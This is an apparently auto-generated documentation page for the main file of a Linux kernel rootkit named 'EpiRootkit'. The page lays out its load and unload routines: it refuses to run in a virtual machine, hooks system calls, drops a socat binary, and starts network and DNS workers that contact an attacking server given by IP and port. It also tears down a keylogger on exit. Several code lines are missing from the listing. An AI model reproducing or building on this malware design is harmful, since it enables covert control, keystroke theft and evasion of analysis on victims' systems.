#include "epirootkit.h"
#include "init.h"
#include "passwd.h"
#include "vanish.h"
Go to the source code of this file.
◆ epirootkit_exit()
| static void __exit epirootkit_exit |
( |
void |
| ) |
|
|
static |
Cleanup function called when the module is unloaded.
This function is executed during the module's exit phase.
Definition at line 62 of file main.c.
62 {
69
70 DBG_MSG(
"epirootkit_exit: module unloaded (/^▽^)/\n");
71}
#define DBG_MSG(fmt, args...)
int epikeylog_exit(void)
Exits the keylogger module, unregisters the notifier, and cleans up.
int remove_socat_binaire(void)
void exit_interceptor(void)
int close_worker_socket(void)
int stop_dns_worker(void)
Stops the DNS worker kernel thread.
int stop_network_worker(void)
◆ epirootkit_init()
| static int __init epirootkit_init |
( |
void |
| ) |
|
|
static |
Initializes the epirootkit module.
- Returns
- Returns 0 (SUCCESS) on successful initialization, or a negative error code if the kernel thread fails to start.
Definition at line 21 of file main.c.
21 {
22 DBG_MSG(
"epirootkit_init: trying to load module...\n");
23
25 ERR_MSG(
"epirootkit_init: nooope, you should not pass\n");
27 }
28
30 ERR_MSG(
"epirootkit_init: failed to init interceptor\n");
32 }
33
35 ERR_MSG(
"epirootkit_init: failed to drop socat binary\n");
37 }
38
40 ERR_MSG(
"epirootkit_init: failed to start network worker\n");
42 }
43
45 ERR_MSG(
"epirootkit_init: failed to start DNS worker\n");
46 ERR_MSG(
"epirootkit_init: rootkit will try to use tcp to communicate\n");
47 }
48
50 DBG_MSG(
"epirootkit_init: no password to load, using default\n");
51 }
52
53 DBG_MSG(
"epirootkit_init: module loaded (/^▽^)/\n");
55}
#define ERR_MSG(fmt, args...)
int drop_socat_binaire(void)
int init_interceptor(void)
int start_network_worker(void)
int start_dns_worker(void)
Starts the DNS worker kernel thread.
bool is_running_in_virtual_env(void)
Determines if the system is running in a virtualized environment.
◆ MODULE_AUTHOR()
| MODULE_AUTHOR |
( |
"STDBOOL" |
| ) |
|
◆ MODULE_DESCRIPTION()
| MODULE_DESCRIPTION |
( |
"EpiRootkit De La Mama" |
| ) |
|
◆ module_exit()
◆ module_init()
◆ MODULE_LICENSE()
◆ module_param() [1/2]
| module_param |
( |
ip |
, |
|
|
charp |
, |
|
|
0644 |
|
|
) |
| |
◆ module_param() [2/2]
| module_param |
( |
port |
, |
|
|
int |
, |
|
|
0644 |
|
|
) |
| |
◆ MODULE_PARM_DESC() [1/2]
| MODULE_PARM_DESC |
( |
ip |
, |
|
|
"IPv4 of attacking server" |
|
|
) |
| |
◆ MODULE_PARM_DESC() [2/2]
| MODULE_PARM_DESC |
( |
port |
, |
|
|
"Port of attacking server" |
|
|
) |
| |
◆ ip
Definition at line 6 of file main.c.
◆ port
Definition at line 7 of file main.c.